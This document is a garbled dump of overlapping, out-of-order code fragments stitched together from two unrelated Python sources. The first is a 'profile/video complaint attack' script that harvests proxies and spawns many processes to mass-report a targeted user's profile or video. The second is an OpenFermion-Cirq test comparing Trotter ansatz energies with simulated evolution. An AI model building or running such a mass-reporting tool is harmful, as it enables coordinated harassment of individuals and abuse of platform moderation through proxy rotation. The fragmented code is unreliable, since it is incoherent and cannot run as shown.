args=(username, [],)) p.start() print_status(str(k", "> 2 or int(report_choice) == 0): print_error(\"The answer is not", "libs.check_modules import check_modules from sys import exit from os import", "print_status(\"Profile complaint attack is starting!\\n\") i = 1 for proxy_list", "return chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Profile complaint attack is", "exit() print_success(str(len(proxies)) + \" Number of proxy found!\\n\") elif (ret", "if (len(proxies) == 0): for k in range(5): p =", "def profile_attack(proxies): username = ask_question(\"Enter the username of the person", "found!\\n\") elif (ret == \"N\" or ret == \"n\"): pass", "Process(target=profile_attack_process, args=(username, [],)) p.start() print_status(str(k + 1) + \". Transaction", "i = i + 1 def profile_attack(proxies): username = ask_question(\"Enter", "starting!\\n\") i = 1 for proxy_list in chunk: p =", "== 5): print() i = i + 1 def main():", "for k in range(5): p = Process(target=profile_attack_process, args=(username, [],)) p.start()", "select the complaint method\") print(\"\") if (report_choice.isdigit() == False): print_error(\"The", "Process(target=video_attack_process, args=(video_url, proxy_list,)) p.start() print_status(str(i) + \". Transaction Opened!\") if", "libs.attack import report_profile_attack from libs.attack import report_video_attack from multiprocessing import", "i = 1 for proxy_list in chunk: p = Process(target=video_attack_process,", "proxy_list: report_video_attack(video_url, proxy) def video_attack(proxies): video_url = ask_question(\"Enter the link", "of 50 proxies in a file!\") file_path = ask_question(\"Enter the", "from os import path from libs.logo import print_logo from libs.utils", "video_url = ask_question(\"Enter the link of the video you want", "def video_attack_process(video_url, proxy_list): if (len(proxy_list) == 0): for _ in", "return chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Video complaint attack is", "10)) print(\"\") print_status(\"Profile complaint attack is starting!\\n\") i = 1", "1) + \". Transaction Opened!\") return chunk = list(chunks(proxies, 10))", "i + 1 def profile_attack(proxies): username = ask_question(\"Enter the username", "profile_attack(proxies) elif (int(report_choice) == 2): video_attack(proxies) if __name__ == \"__main__\":", "chunks(lst, n): \"\"\"Yield successive n-sized chunks from lst.\"\"\" for i", "from libs.proxy_harvester import find_proxies from libs.attack import report_profile_attack from libs.attack", "while.\\n\") proxies = find_proxies() elif (ret == \"N\" or ret", "attack is starting!\\n\") i = 1 for proxy_list in chunk:", "== \"__main__\": print_logo() try: main() print(Style.RESET_ALL) except KeyboardInterrupt: print(\"\\n\\n\" +", "\"N\" or ret == \"n\"): pass else: print_error(\"Answer not understood,", "if (len(proxy_list) == 0): for _ in range(10): report_video_attack(video_url, None)", "your proxy list\") proxies = parse_proxy_file(file_path) else: print_error(\"Answer not understood,", "= 1 for proxy_list in chunk: p = Process(target=video_attack_process, args=(video_url,", "exit() print(\"\") print_status(\"1 - Report Profile.\") print_status(\"2 - Report a", "username of the person you want to report\") print(Style.RESET_ALL) if", "profile_attack(proxies): username = ask_question(\"Enter the username of the person you", "= Process(target=video_attack_process, args=(video_url, proxy_list,)) p.start() print_status(str(i) + \". Transaction Opened!\")", "of the person you want to report\") print(Style.RESET_ALL) if (len(proxies)", "+ 1 def profile_attack(proxies): username = ask_question(\"Enter the username of", "check_modules() from os import path from libs.logo import print_logo from", "Transaction Opened!\") return chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Profile complaint", "import report_video_attack from multiprocessing import Process from colorama import Fore,", "N]\") proxies = [] if (ret == \"Y\" or ret", "from lst.\"\"\" for i in range(0, len(lst), n): yield lst[i:i", "[Y / N]\") if (ret == \"Y\" or ret ==", "print() i = i + 1 def main(): print_success(\"Modules loaded!\\n\")", "[],)) p.start() print_status(str(k + 1) + \". Transaction Opened!\") if", "for _ in range(10): report_video_attack(video_url, None) return for proxy in", "Process(target=video_attack_process, args=(video_url, [],)) p.start() print_status(str(k + 1) + \". Transaction", "+ 1 def main(): print_success(\"Modules loaded!\\n\") ret = ask_question(\"Would you", "(len(proxies) == 0): for k in range(5): p = Process(target=video_attack_process,", "import Process from colorama import Fore, Back, Style def chunks(lst,", "if (report_choice.isdigit() == False): print_error(\"The answer is not understood.\") exit(0)", "- Report a video.\") report_choice = ask_question(\"Please select the complaint", "path from libs.logo import print_logo from libs.utils import print_success from", "except KeyboardInterrupt: print(\"\\n\\n\" + Fore.RED + \"[*] Program is closing!\")", "if (ret == \"Y\" or ret == \"y\"): ret =", "internet? [Y / N]\") if (ret == \"Y\" or ret", "ret = ask_question(\"Would you like to collect your proxies from", "= i + 1 def profile_attack(proxies): username = ask_question(\"Enter the", "= list(chunks(proxies, 10)) print(\"\") print_status(\"Video complaint attack is on!\\n\") i", "[Y / N]\") proxies = [] if (ret == \"Y\"", "the video you want to report\") print(Style.RESET_ALL) if (len(proxies) ==", "== \"n\"): print_status(\"Please have a maximum of 50 proxies in", "N]\") if (ret == \"Y\" or ret == \"y\"): print_status(\"Gathering", "to report\") print(Style.RESET_ALL) if (len(proxies) == 0): for k in", "libs.logo import print_logo from libs.utils import print_success from libs.utils import", "Number of proxy found!\\n\") elif (ret == \"N\" or ret", "\". Transaction Opened!\") if (k == 5): print() return chunk", "coding=utf-8 #!/usr/bin/env python3 from libs.check_modules import check_modules from sys import", "p = Process(target=profile_attack_process, args=(username, [],)) p.start() print_status(str(k + 1) +", "file_path = ask_question(\"Enter the path to your proxy list\") proxies", "path to your proxy list\") proxies = parse_proxy_file(file_path) else: print_error(\"Answer", "report_profile_attack from libs.attack import report_video_attack from multiprocessing import Process from", "\" Number of proxy found!\\n\") elif (ret == \"N\" or", "proxy) def video_attack_process(video_url, proxy_list): if (len(proxy_list) == 0): for _", "from multiprocessing import Process from colorama import Fore, Back, Style", "\"y\"): print_status(\"Gathering proxy from the Internet! This may take a", "or ret == \"n\"): print_status(\"Please have a maximum of 50", "to collect your proxies from the internet? [Y / N]\")", "proxies in a file!\") file_path = ask_question(\"Enter the path to", "(ret == \"Y\" or ret == \"y\"): ret = ask_question(\"Would", "from libs.utils import ask_question from libs.utils import print_status from libs.utils", "in chunk: p = Process(target=profile_attack_process, args=(username, proxy_list,)) p.start() print_status(str(i) +", "complaint attack is starting!\\n\") i = 1 for proxy_list in", "for proxy in proxy_list: report_profile_attack(username, proxy) def video_attack_process(video_url, proxy_list): if", "of proxy found!\\n\") elif (ret == \"N\" or ret ==", "report\") print(Style.RESET_ALL) if (len(proxies) == 0): for k in range(5):", "if __name__ == \"__main__\": print_logo() try: main() print(Style.RESET_ALL) except KeyboardInterrupt:", "== 0): print_error(\"The answer is not understood.\") exit(0) if (int(report_choice)", "n): yield lst[i:i + n] def profile_attack_process(username, proxy_list): if (len(proxy_list)", "if (len(proxy_list) == 0): for _ in range(10): report_profile_attack(username, None)", "ask_question(\"Would you like to collect your proxies from the internet?", "not understood, exiting!\") exit() print_success(str(len(proxies)) + \" Number of proxy", "list(chunks(proxies, 10)) print(\"\") print_status(\"Video complaint attack is on!\\n\") i =", "n] def profile_attack_process(username, proxy_list): if (len(proxy_list) == 0): for _", "print_status(str(k + 1) + \". Transaction Opened!\") if (k ==", "exiting!\") exit() print(\"\") print_status(\"1 - Report Profile.\") print_status(\"2 - Report", "try: main() print(Style.RESET_ALL) except KeyboardInterrupt: print(\"\\n\\n\" + Fore.RED + \"[*]", "k in range(5): p = Process(target=video_attack_process, args=(video_url, [],)) p.start() print_status(str(k", "\"n\"): pass else: print_error(\"Answer not understood, exiting!\") exit() print(\"\") print_status(\"1", "os import path from libs.logo import print_logo from libs.utils import", "def profile_attack_process(username, proxy_list): if (len(proxy_list) == 0): for _ in", "1 for proxy_list in chunk: p = Process(target=video_attack_process, args=(video_url, proxy_list,))", "video_attack(proxies): video_url = ask_question(\"Enter the link of the video you", "(ret == \"N\" or ret == \"n\"): print_status(\"Please have a", "2): video_attack(proxies) if __name__ == \"__main__\": print_logo() try: main() print(Style.RESET_ALL)", "= parse_proxy_file(file_path) else: print_error(\"Answer not understood, exiting!\") exit() print_success(str(len(proxies)) +", "in range(10): report_profile_attack(username, None) return for proxy in proxy_list: report_profile_attack(username,", "_ in range(10): report_video_attack(video_url, None) return for proxy in proxy_list:", "range(5): p = Process(target=video_attack_process, args=(video_url, [],)) p.start() print_status(str(k + 1)", "print() return chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Video complaint attack", "import print_success from libs.utils import print_error from libs.utils import ask_question" ]
[ "= ansatz.qubits if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): one_body = hamiltonian.one_body elif isinstance(hamiltonian,", "'ansatz, trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1), LINEAR_SWAP_NETWORK, 1,", "time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.5", "(SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1), SPLIT_OPERATOR, 1,", "2.0 (the \"License\"); # you may not use this file", "openfermioncirq.trotter import ( LINEAR_SWAP_NETWORK, LOW_RANK, LowRankTrotterAlgorithm, SPLIT_OPERATOR) # 4-qubit random", "4-qubit H2 2-2 with bond length 0.7414 bond_length = 0.7414", "a Trotter ansatz with one iteration and default parameters is", "LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5),", "LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 1e-3), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=2), LINEAR_SWAP_NETWORK,", "isinstance(hamiltonian, openfermion.InteractionOperator): one_body = hamiltonian.one_body_tensor if isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz): occupied_orbitals =", "iterations and default parameters is consistent with time evolution with", "hamiltonian.two_body_tensor) three_quarters_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75 * hamiltonian.two_body_tensor) simulation_circuit", "(range(len(qubits)//4), range(len(qubits)//4)) else: occupied_orbitals = range(len(qubits)//2) preparation_circuit = cirq.Circuit( prepare_gaussian_state(", "4.0), openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_1( ansatz, trotter_algorithm, order,", "half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state = ( preparation_circuit", "openfermion.fermi_hubbard(2, 2, 1.0, 4.0), openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_2(", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "from openfermioncirq import ( HamiltonianObjective, LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz, VariationalStudy,", "iterations=1), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1), SPLIT_OPERATOR, 1, diag_coul_hamiltonian,", "final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 5e-5), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=1),", "iterations=2), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=2, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0,", "is consistent with time evolution with two Trotter steps.\"\"\" objective", "4-qubit random DiagonalCoulombHamiltonian diag_coul_hamiltonian = openfermion.random_diagonal_coulomb_hamiltonian( 4, real=True, seed=47141) #", "length 0.7414 bond_length = 0.7414 geometry = [('H', (0., 0.,", "pytest import cirq import openfermion from openfermioncirq import ( HamiltonianObjective,", "constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25 * hamiltonian.two_body_tensor) three_quarters_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor,", "openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0, 4.0), openfermion.up_then_down) ), 5e-5) ]) def", "with one Trotter step.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits", "parameters is consistent with time evolution with two Trotter steps.\"\"\"", "* hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, quarter_way_hamiltonian, time=0.5 *", "Trotter steps.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if isinstance(hamiltonian,", "range(len(qubits)//2) preparation_circuit = cirq.Circuit( prepare_gaussian_state( qubits, openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals ) )", "LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0, 4.0), openfermion.up_then_down) ),", "1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian,", "use this file except in compliance with the License. #", "(LowRankTrotterAnsatz(lih_hamiltonian, iterations=1, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 5e-5), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0,", "a Trotter ansatz with two iterations and default parameters is", "(0., 0., 0.)), ('H', (0., 0., bond_length))] h2_hamiltonian = openfermion.load_molecular_hamiltonian(", "geometry, 'sto-3g', 1, format(bond_length), 2, 2) # 4-qubit LiH 2-2", "simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body,", "isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.25 * hamiltonian.two_body) three_quarters_way_hamiltonian", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "(SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=2), LOW_RANK, 0,", "= openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.5 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): half_way_hamiltonian", "'sto-3g', 1, format(bond_length), 2, 2) # 4-qubit LiH 2-2 with", "License. # You may obtain a copy of the License", "5e-5), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=1), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder(", "h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=1, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 5e-5), (SwapNetworkTrotterHubbardAnsatz(2,", "under the License is distributed on an \"AS IS\" BASIS,", "LiH 2-2 with bond length 1.45 bond_length = 1.45 geometry", "trotter_algorithm, order, hamiltonian, atol): \"\"\"Check that a Trotter ansatz with", "half_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5 * hamiltonian.two_body_tensor) simulation_circuit =", "seed=47141) # 4-qubit H2 2-2 with bond length 0.7414 bond_length", "License for the specific language governing permissions and # limitations", "numpy import pytest import cirq import openfermion from openfermioncirq import", "Trotter ansatz with two iterations and default parameters is consistent", "diag_coul_hamiltonian = openfermion.random_diagonal_coulomb_hamiltonian( 4, real=True, seed=47141) # 4-qubit H2 2-2", "ansatz.qubits if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): one_body = hamiltonian.one_body elif isinstance(hamiltonian, openfermion.InteractionOperator):", "openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.25 * hamiltonian.two_body) three_quarters_way_hamiltonian =", "5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_2( ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check", "2, 2) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian,", "+ ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params())) result = circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits)) obj_val = objective.value(result)", "atol): \"\"\"Check that a Trotter ansatz with two iterations and", "LowRankTrotterAlgorithm, SPLIT_OPERATOR) # 4-qubit random DiagonalCoulombHamiltonian diag_coul_hamiltonian = openfermion.random_diagonal_coulomb_hamiltonian( 4,", "algorithm=trotter_algorithm) ) final_state = ( preparation_circuit + simulation_circuit).final_wavefunction() correct_val =", "VariationalStudy( 'study', ansatz, objective, preparation_circuit=preparation_circuit) study_val = study.value_of(ansatz.default_initial_params()) # Compute", "lih_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2, 2) @pytest.mark.parametrize(", "objective._hamiltonian_linear_op, final_state).real numpy.testing.assert_allclose(obj_val, study_val, atol=atol) numpy.testing.assert_allclose(obj_val, correct_val, atol=atol) @pytest.mark.parametrize( 'ansatz,", "('H', (0., 0., bond_length))] lih_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1,", "bond_length = 0.7414 geometry = [('H', (0., 0., 0.)), ('H',", "in compliance with the License. # You may obtain a", "one_body = hamiltonian.one_body_tensor if isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz): occupied_orbitals = (range(len(qubits)//4), range(len(qubits)//4))", "Trotter step.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if isinstance(hamiltonian,", "def test_trotter_ansatzes_default_initial_params_iterations_2( ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check that a", "value by simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian =", "software # distributed under the License is distributed on an", "using study study = VariationalStudy( 'study', ansatz, objective, preparation_circuit=preparation_circuit) study_val", "1, format(bond_length), 2, 2) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol',", "governing permissions and # limitations under the License. import numpy", "objective, preparation_circuit=preparation_circuit) study_val = study.value_of(ansatz.default_initial_params()) # Compute value by simulating", "atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2),", "openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.5 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): half_way_hamiltonian =", ") # Compute value using ansatz circuit and objective circuit", "5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=2), LOW_RANK,", "2) # 4-qubit LiH 2-2 with bond length 1.45 bond_length", "occupied_orbitals = range(len(qubits)//2) preparation_circuit = cirq.Circuit( prepare_gaussian_state( qubits, openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals", "4.0, iterations=2), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0, 4.0),", "iterations=1), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0, 4.0), openfermion.up_then_down)", "= cirq.resolve_parameters( preparation_circuit + ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params())) result = circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits))", "= openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25 * hamiltonian.two_body_tensor) three_quarters_way_hamiltonian = openfermion.InteractionOperator(", "# 4-qubit LiH 2-2 with bond length 1.45 bond_length =", "= ( preparation_circuit + simulation_circuit).final_wavefunction() correct_val = openfermion.expectation( objective._hamiltonian_linear_op, final_state).real", "[ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1), SPLIT_OPERATOR,", "# Compute value using ansatz circuit and objective circuit =", "1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0, 4.0), openfermion.up_then_down) ), 5e-5)", "half_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.5 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator):", "and # limitations under the License. import numpy import pytest", "qubits = ansatz.qubits if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): one_body = hamiltonian.one_body elif", "test_trotter_ansatzes_default_initial_params_iterations_2( ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check that a Trotter", "with time evolution with one Trotter step.\"\"\" objective = HamiltonianObjective(hamiltonian)", "two_body=0.5 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): half_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant,", "study.value_of(ansatz.default_initial_params()) # Compute value by simulating time evolution if isinstance(hamiltonian,", "time=ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state = ( preparation_circuit +", "VariationalStudy, prepare_gaussian_state, simulate_trotter) from openfermioncirq.trotter import ( LINEAR_SWAP_NETWORK, LOW_RANK, LowRankTrotterAlgorithm,", "with bond length 0.7414 bond_length = 0.7414 geometry = [('H',", "cirq.Circuit( simulate_trotter( qubits, quarter_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm),", "circuit and objective circuit = cirq.resolve_parameters( preparation_circuit + ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params()))", "+ simulation_circuit).final_wavefunction() correct_val = openfermion.expectation( objective._hamiltonian_linear_op, final_state).real numpy.testing.assert_allclose(obj_val, study_val, atol=atol)", "OF ANY KIND, either express or implied. # See the", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "prepare_gaussian_state( qubits, openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals ) ) # Compute value using", "ANY KIND, either express or implied. # See the License", "See the License for the specific language governing permissions and", "bond_length))] lih_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2, 2)", "that a Trotter ansatz with one iteration and default parameters", "the License. # You may obtain a copy of the", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "two_body=0.75 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): quarter_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant,", "Compute value using study study = VariationalStudy( 'study', ansatz, objective,", "to in writing, software # distributed under the License is", "if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): one_body = hamiltonian.one_body elif isinstance(hamiltonian, openfermion.InteractionOperator): one_body", "# 4-qubit random DiagonalCoulombHamiltonian diag_coul_hamiltonian = openfermion.random_diagonal_coulomb_hamiltonian( 4, real=True, seed=47141)", "# See the License for the specific language governing permissions", "1.0, 4.0, iterations=1), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0,", "lih_hamiltonian, 5e-5), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=1), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian(", "cirq.Circuit( simulate_trotter( qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state", "or agreed to in writing, software # distributed under the", "= openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2, 2) # 4-qubit", "required by applicable law or agreed to in writing, software", "@pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2), LINEAR_SWAP_NETWORK,", ") ) # Compute value using ansatz circuit and objective", "0., 0.)), ('H', (0., 0., bond_length))] h2_hamiltonian = openfermion.load_molecular_hamiltonian( geometry,", "= cirq.Circuit( simulate_trotter( qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) )", "4.0), openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_2( ansatz, trotter_algorithm, order,", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "= openfermion.random_diagonal_coulomb_hamiltonian( 4, real=True, seed=47141) # 4-qubit H2 2-2 with", "with the License. # You may obtain a copy of", "step.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian):", "hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): quarter_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25", "@pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1), LINEAR_SWAP_NETWORK,", "atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1),", "constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits,", "preparation_circuit + ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params())) result = circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits)) obj_val =", "simulate_trotter) from openfermioncirq.trotter import ( LINEAR_SWAP_NETWORK, LOW_RANK, LowRankTrotterAlgorithm, SPLIT_OPERATOR) #", "ansatz with one iteration and default parameters is consistent with", "length 1.45 bond_length = 1.45 geometry = [('Li', (0., 0.,", "algorithm=trotter_algorithm), simulate_trotter( qubits, three_quarters_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm)", "isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.5 * hamiltonian.two_body) elif", "iterations=2), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0, 4.0), openfermion.up_then_down)", "compliance with the License. # You may obtain a copy", "('H', (0., 0., bond_length))] h2_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1,", "agreed to in writing, software # distributed under the License", "limitations under the License. import numpy import pytest import cirq", "value using ansatz circuit and objective circuit = cirq.resolve_parameters( preparation_circuit", "1.0, 4.0), openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_1( ansatz, trotter_algorithm,", "SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz, VariationalStudy, prepare_gaussian_state, simulate_trotter) from openfermioncirq.trotter import (", "and objective circuit = cirq.resolve_parameters( preparation_circuit + ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params())) result", "distributed under the License is distributed on an \"AS IS\"", "value using study study = VariationalStudy( 'study', ansatz, objective, preparation_circuit=preparation_circuit)", "import numpy import pytest import cirq import openfermion from openfermioncirq", "quarter_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.25 * hamiltonian.two_body) three_quarters_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian(", "ansatz circuit and objective circuit = cirq.resolve_parameters( preparation_circuit + ansatz.circuit,", "openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25 * hamiltonian.two_body_tensor) three_quarters_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant,", "2, 1.0, 4.0, iterations=2), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2,", "0., 0.)), ('H', (0., 0., bond_length))] lih_hamiltonian = openfermion.load_molecular_hamiltonian( geometry,", "import cirq import openfermion from openfermioncirq import ( HamiltonianObjective, LowRankTrotterAnsatz,", "hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, quarter_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time,", "= 